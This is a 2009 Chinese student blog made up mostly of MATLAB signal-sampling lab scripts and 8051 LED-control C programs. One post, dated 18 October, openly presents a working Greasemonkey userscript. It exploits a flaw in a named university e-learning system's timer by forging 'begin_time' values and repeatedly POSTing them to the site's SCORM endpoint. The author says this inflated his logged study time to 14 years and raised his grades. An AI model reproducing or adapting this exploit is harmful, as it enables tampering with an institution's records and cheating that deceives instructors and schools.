星期四, 10月 29, 2009

matlab 2009 10/29 02


% program file lab2009102901.m
clear all;
clf;
tf = 1;
dt = 0.01;
t =0:dt:1;
x1 = cos(2*pi*10*t);
x2 = cos(2*pi*35*t);

fs1 = 2*35;
xc = x1+x2;
ts1 = 1/fs1;
n1 = 0/ts1:1:tf/ts1;
x1_n = cos(2*pi*10*ts1)+cos(2*pi*35*n1*ts1);

subplot(411);
plot(t,x1,'r');
grid;
subplot(412);
plot(t,x2,'g');
grid;
subplot(413);
plot(t,xc,'g');
grid;
subplot(414);
stem(n1,x1_n,'b');

matlab 2009 10 29 01


% program file lab2009102901.m

clear all;
clf;

dt = 0.01;
t =0:dt:5;
x1 = cos(2*pi*10*t);
x2 = cos(2*pi*35*t);


subplot(311);
plot(t,x1,'r');

subplot(312);
plot(t,x2,'g');

subplot(313);
%stem(n,x_n,'b');

星期四, 10月 22, 2009

matlab 2009 10 22 02


% program file lab2009102202.m
clear all;
% clf;
dt = 0.0001;
t =-0.01:dt:0.02;
xc = cos(2*pi*100*t);
tt = 0.0005;
ts = -0.01:tt:0.02;
xd = cos(2*pi*100*ts);

n=-20:1:40;
x4 = cos(2*pi*100*n*tt);

figure(1);
subplot(311);
plot(t,xc);

subplot(312);
stem(ts,xd);

subplot(313);
stem(n,x4);

星期三, 10月 21, 2009

matlab 2009 10 22 01


% program file lab2009102201.m
clear all;
clf;
dt = 0.001;
t =-0:dt:0.1;
s = 5+4*cos(2*pi*20*t);
xc1 = cos(2*pi*200*t);
x1 = s.*xc1;

xc2 = cos(2*pi*700*t);
x2 = s.*xc2;

figure(1);
subplot(311);
plot(t,s,'x');grid;hold on;
plot(t,xc1,'g');

subplot(312);
plot(t,x1);

subplot(313);
plot(t,x2);

星期一, 10月 19, 2009

8051 w2


#pragma oe db pw(80) SM SB CD
#include
#include "Delay.h"
main(){
int num = 0;
char State=0;
P2 =0x3f;

for(;num<6;){
Delay1s();
if(State == 1){
P2 <<= 1;
P2 |=0x01;
}
if(State == 0){
P2 >>= 1;
P2 |=0x80;
}

if((P2&0xc0)==0){//0011 1111 + 1100 0000 =0
State= 0;
num++;
}
if((P2&0x03)==0){
State= 1;
num++;
}
}

for(;;);
}

8051 w2


#pragma oe db pw(80) SM SB CD
#include
#include "Delay.h"
main(){
int num = 0;
char State=0;
P2 =0x3f;

for(;num<6;){
Delay1s();
if(State == 1){
P2 <<= 1;
P2 |=0x01;
}
if(State == 0){
P2 >>= 1;
P2 |=0x80;
}

if((P2&0xc0)==0){//0011 1111 + 1100 0000 =0
State= 0;
num++;
}
if((P2&0x03)==0){
State= 1;
num++;
}
}

for(;;);
}

8051 led2


#pragma oe db pw(80) SM SB CD
#include
void Delay1s(void){ //時間延遲一秒的函數
ACC = 5;
F0 = 1;
F0 = 1;
F0 = 1;
}
main(){
int num = 0; //宣告用來表示次數的變數
char State=0; //宣告檢測右邊和左邊的變數
P0 =0xc0; //初始設定左邊2個點燈是亮的
for(;num<6;){ //來回跑3次的設定
Delay1s(); //時間暫停一秒
if(State == 0) P0 >>= 1; //當電燈到達左邊2個發光時,開始向右邊跑
if(State == 1) P0 <<= 1; //當電燈到達右邊2個發光時,開始向左邊跑
if((P0&0x3f)==0){ //當電燈到達左邊時
State= 0; //檢測變數會改變為 左
num++; //開始算一次
}
if((P0&0xfc)==0){ //當電燈到達右邊
State= 1; //檢測變數會改變為 右
num++; //開始算一次
}
}
for(;;);//讓程式進入無限回圈
}

星期日, 10月 18, 2009

nkut 網路學習 增加在線時間

在南開 ,學校的網路學習系統 都會有計時器的功能,
當你瀏覽一篇文章 他就會幫你計時,
有些老師就會看你有沒有認真在上課,像是一個小時加0.001分,
這個時候你就可以得到分數,所以小弟就寫了一個腳本,
去呼叫他本身的計時器函數,由於他的計時器有缺陷,
所以可以以1秒六小時來衝時間,此時我的時間就變成14年。
分數也增加到很多。
// ==UserScript==
//XXXzi4 ji2 xiang3 xiang4 ba0 !!
//nkut_elearning v0.4
// ==/UserScript==
/*
http://elearning.nkut.edu.tw/learn/path/SCORM_fetchResource.php
*/
var nkute = "http://elearning.nkut.edu.tw/learn/index.php";
var valdata = "
時間";
valdata += "";;
valdata += "";
valdata += "";
valdata += "";
valdata += "";
valdata += "";
valdata += "";
valdata += "";
valdata += "
test
test
test
test
test
test
test
";
valdata += "
";

var mun =0;
var msg;

var switch_1 = 0;
var time_n = 0;
var time_m = 1;
var time_d = 1;
var last_check = new Date();
var time_s = 1;

var href;
var prev_href;
var prev_node_id;
var prev_node_title;
var begin_time;
var post_url;

var $;
// Add jQuery
var GM_JQ = document.createElement("script");
GM_JQ.src = "http://code.jquery.com/jquery-latest.min.js";
GM_JQ.type = "text/javascript";
document.body.appendChild(GM_JQ);
// Check if jQuery's loaded
var checker2;
var checker;

function JQuery_run(){
if(switch_1 == 0){
var fight_data = $(valdata);
//alert($("body").html());
//$(".hosp").html("");
fight_data.addClass("fight_data").attr('id','fight_data');
fight_data.prependTo("#displayPanel");

if(location.href == "http://elearning.nkut.edu.tw/learn/path/pathtree.php"){
href = $("#fetchResourceForm").children("input:eq(0)").attr("value"); //$("input").val(); children("li:eq(0)")
prev_href = $("#fetchResourceForm").children("input:eq(1)").attr("value");
prev_node_id = $("#fetchResourceForm").children("input:eq(2)").attr("value");
prev_node_title = $("#fetchResourceForm").children("input:eq(3)").attr("value");
begin_time = $("#fetchResourceForm").children("input:eq(4)").attr("value");
//alert(href + "\n" + prev_href + "\n" + prev_node_id + "\n" + prev_node_title + "\n" + begin_time + "\n");
begin_time = "2000-10-13 13:08:18";
post_url = "href="+ href +"&prev_href="+ prev_href +"&prev_node_id="+ prev_node_id +"&prev_node_title="+ prev_node_title +"&begin_time="+ begin_time;
//alert(post_url);
//cx_run();
//alert($("body").html());
if(href != ""){
switch_1 = 1;
//alert(switch_1);
}else{
//錯誤時.
}
}
}
if(switch_1 != 0){
//alert(switch_1);
$("#toolbar").html("asdfasdf");
var current = new Date();
var seconds = (current - last_check) / 1000;
//time = parseInt(time_s-seconds);
// $("#t1").html(time);
// $("#t2").html(begin_time);
$("#t3").html("href = "+href);
$("#t4").html("prev_href = "+prev_href);
$("#t5").html("prev_node_id = "+prev_node_id);
$("#t6").html("prev_node_title = "+prev_node_title);//prev_node_title
$("#t6").html("post_url = "+post_url);//post_url
$("#t7").html(mun);
if(time <= 0){ //alert(time); last_check = current; if(time_m == 13){ time_n += 1; time_m = 1; } if(time_n == 50){ time_n = 0; } if(time_d == 30){ time_d = 0; time_m += 1; } year1 = 1996 + time_n; var ydm = new Date(); ydm.setFullYear(year1,time_m,time_d); ydm.setHours(13,35,1);//ydm.setHours(20,35,1); begin_time = curDateTime(ydm); post_url = "href="+ href +"&prev_href="+ prev_href +"&prev_node_id="+ prev_node_id +"&prev_node_title="+ prev_node_title +"&begin_time="+ begin_time; time_d +=1; //cx_run(); test_run(); } } } function test_run(){ GM_xmlhttpRequest({ method: 'POST', url: "http://elearning.nkut.edu.tw/learn/path/SCORM_fetchResource.php", data: encodeURI(post_url), headers: { "Content-type" : "application/x-www-form-urlencoded" }, onload: function(response) {//response mun +=1; } }); } function fetchServerTime(){ return begin_time; } function curDateTime(d){ var year = d.getFullYear(); var month = d.getMonth(); var date = d.getDate(); var day = d.getDay(); var hours = d.getHours(); var minutes = d.getMinutes(); var seconds = d.getSeconds(); var ms = d.getMilliseconds(); var curDateTime= year; if(month>9)
curDateTime = curDateTime +"-"+month;
else
curDateTime = curDateTime +"-0"+month;
if(date>9)
curDateTime = curDateTime +"-"+date;
else
curDateTime = curDateTime +"-0"+date;
if(hours>9)
curDateTime = curDateTime +" "+hours;
else
curDateTime = curDateTime +" 0"+hours;
if(minutes>9)
curDateTime = curDateTime +":"+minutes;
else
curDateTime = curDateTime +":0"+minutes;
if(seconds>9)
curDateTime = curDateTime +":"+seconds;
else
curDateTime = curDateTime +":0"+seconds;
return curDateTime;
}

//post 工具
function cx_run(){
GM_xmlhttpRequest(
{
method: 'POST',
url: encodeURI("http://elearning.nkut.edu.tw/learn/path/SCORM_fetchResource.php"),
headers: { "Content-type" : "application/x-www-form-urlencoded" },
data: encodeURI(post_url),
onload: function(req)
{
mun +=1;
return 0;
//msg = response.responseText;
}
});
return 0;
}

window.setTimeout(function() {
//checker2=setInterval(function(){
if(typeof ($ = unsafeWindow.jQuery) != "undefined") {
clearInterval(checker);
JQuery_run();
}},1000);
}, 1000);

星期三, 10月 14, 2009

matlab 2009101501


% program file lab2009101501.m
clear all;
t = -0.05:0.001:0.05;
x1 = 10;
x2 = 14*cos(2*pi*100*t-pi/3);
x3 = 8*cos(2*pi*250*t+pi/2);
x4 = x1 + x2 + x3;

subplot(411);
plot(t,x1);


subplot(412);
plot(t,x2);


subplot(413);
plot(t,x3);


subplot(414);
plot(t,x4);

星期二, 10月 13, 2009

8051 led


#pragma oe db pw(80) SM SB CD
#include
#include "Delay.h"
code tbl1[]= { 0x7f,0xbf,0xdf,0xef,0xf7,0xfb,0xfd,0xfe,0xfd,0xfb,0xf7,0xef,0xdf,0xbf } ;
int num= 0;

int main()
{
char i ;
int id = 0;
/*P0 =0x01;*/
P0 =0xc0;
/*P0 =0x80;*/

for(num = 0;num<=6;){
Delay100ms() ;
P3 = num;
if((P0&0x3f) == 0){ /*0x01*/
num++;
id = 1;
}
if((P0&0xfc) == 0){ /*0x80*/
num++;
id = 0;
}
if(id == 0){
P0 <<=1 ;
}else{
if(num<6) P0 >>=1 ;
}
}
Delay1s() ;
Delay1s() ;
Delay1s() ;
Delay1s() ;

/*P0 >>=1;*/
/*P0=tbl1[1];*/
/*
for(;;) {
for(i = 0 ; i < 14 ; i++ ){
P0=tbl1[i] ;
Delay100ms() ;
}
}
*/
return 0;

}

星期四, 10月 08, 2009

matlab lab 20091008 1


% program file lab200910081.m
clear all;
k = 0;
tt = 0:0.01:10;

for t=0:0.01:10
k = k + 1;
x1(1,k) = cos(2*pi*0.5*t);
x2(1,k) = sin(2*pi*5*t);
x3(1,k) = x1(1,k)*x2(1,k);
end
subplot(311);
plot(tt,x1);
xlabel('t,(s)');
ylabel('x(t)');
grid;

subplot(312);
plot(tt,x2);
xlabel('t,(s)');
ylabel('x(t)');
grid;

subplot(313);
plot(tt,x3);
xlabel('t,(s)');
ylabel('x(t)');
grid;